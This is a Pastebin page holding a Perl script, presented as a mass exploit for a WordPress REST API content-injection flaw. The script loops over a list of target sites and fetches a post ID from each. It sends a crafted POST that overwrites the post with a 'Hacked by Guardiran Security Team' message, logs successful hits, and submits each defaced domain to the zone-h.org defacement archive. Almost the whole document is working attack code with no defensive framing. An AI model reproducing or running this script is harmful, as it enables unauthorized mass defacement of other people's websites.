Advertisement
dr-iman

Wp Content Injection Mass Exploit

Jun 13th, 2017
109
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 3.98 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use Term::ANSIColor;
  3. use LWP::UserAgent;
  4. use HTTP::Request;
  5. use HTTP::Request::Common qw(POST);
  6. $ua = LWP::UserAgent->new(keep_alive => 1);
  7. $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)");
  8. $ua->timeout (10);
  9.  
  10. system(($^O eq 'MSWin32') ? 'cls' : 'clear');
  11.  
  12. print "  
  13.  
  14. _     _  _______                                                          
  15. | | _ | ||       |        ##########################                                                
  16. | || || ||    _  |        # Coded By : DR-IMAN     #                                        
  17. |       ||   |_| |        # Site : Guardiran.org   #                                            
  18. |       ||    ___|        # Tel : DarkCod3r        #                                      
  19. |   _   ||   |            ##########################                                                
  20. |__| |__||___|                                                            
  21. _______  _______  __    _  _______  _______  __    _  _______            
  22. |       ||       ||  |  | ||       ||       ||  |  | ||       |            
  23. |       ||   _   ||   |_| ||_     _||    ___||   |_| ||_     _|            
  24. |       ||  | |  ||       |  |   |  |   |___ |       |  |   |              
  25. |      _||  |_|  ||  _    |  |   |  |    ___||  _    |  |   |              
  26. |     |_ |       || | |   |  |   |  |   |___ | | |   |  |   |              
  27. |_______||_______||_|  |__|  |___|  |_______||_|  |__|  |___|              
  28. ___   __    _      ___  _______  _______  _______  ___   _______  __    _
  29. |   | |  |  | |    |   ||       ||       ||       ||   | |       ||  |  | |
  30. |   | |   |_| |    |   ||    ___||       ||_     _||   | |   _   ||   |_| |
  31. |   | |       |    |   ||   |___ |       |  |   |  |   | |  | |  ||       |
  32. |   | |  _    | ___|   ||    ___||      _|  |   |  |   | |  |_|  ||  _    |
  33. |   | | | |   ||       ||   |___ |     |_   |   |  |   | |       || | |   |
  34. |___| |_|  |__||_______||_______||_______|  |___|  |___| |_______||_|  |__|
  35.  
  36. \n";
  37. print " site:";
  38. my $list=<STDIN>;
  39. chomp($list);
  40.   open (THETARGET, "<$list") || die "[-] Incorrect List Below !";
  41. @TARGETS = <THETARGET>;
  42. close THETARGET;
  43. $link=$#TARGETS + 1;
  44.  
  45. foreach $site(@TARGETS){
  46.  
  47. chomp $site;
  48. if($site !~ /http:\/\//) { $site = "http://$site/"; };
  49. $linkposts = $site . 'index.php/wp-json/wp/v2/posts/';
  50.  
  51.  
  52. print "Scanning  $site\n";
  53.  
  54. $ua = LWP::UserAgent->new(keep_alive => 1);
  55. $ua->agent("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31");
  56. $ua->timeout (10);
  57.  
  58.  
  59. $ask = $ua->get($linkposts);
  60. $formurl = $ask->content;
  61. if($formurl =~/\/?p=(.*?)\"\}/)
  62. {
  63. $id=$1;
  64.  
  65. $ajx = $site . '/wp-json/wp/v2/posts/'.$id;
  66. $askk = $ua->get($ajx);
  67. $formurll = $askk->content;
  68. if($formurll =~/link\":\"(.*?)\",\"/)
  69. {
  70. $link=$1;
  71. $link =~ s/\\|//g;
  72.  
  73.  
  74.    open(save, '>>Results.txt');  
  75.    print save "$link\n";  
  76.    close(save);
  77. $def="Hacked by Guardiran Security Team";
  78. $width=$id . 'justracccwdata';
  79. $face = POST $ajx, ['id' => $width, 'title' => 'hacked By Guardiran Security Team', 'content' => $def ];
  80. $response = $ua->request($face);
  81. $start = $response->content;
  82.     if ($start =~ /Guardiran/){
  83. print (" Successfully !!!"),"\n";
  84. zonpost();
  85. }else{
  86. print (" Don't Hacked :("),"\n";
  87. }
  88. }
  89. }
  90. }
  91. sub zonpost{
  92. $req = HTTP::Request->new(GET=>$link);
  93. $useragent = LWP::UserAgent->new();
  94. $response = $useragent->request($req);
  95. $ar = $response->content;
  96. if ($ar =~ /Hacked|Guardiran |Team/){
  97.  
  98.                 $dmn= $link;
  99.                 $def="Guardiran Security Team";
  100.                 $zn="http://zone-h.org/notify/single";
  101.                 $lwp=LWP::UserAgent->new;
  102.                 $res=$lwp  -> post($zn,[
  103.                 'defacer'     => $def,
  104.                 'domain1'   => $dmn,
  105.                 'hackmode' => '15',
  106.                 'reason'       => '1',
  107.                 'submit'       => 'Send',
  108.                 ]);
  109.                 if ($res->content =~ //) {
  110.                 print (" submit $1"),"\n";
  111.                 }
  112.                 else
  113.                 {
  114.                 print (" Error !!!"),"\n";
  115.                 }
  116.                      }else{
  117.                         print" Not Done !! \n";
  118. }
  119. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement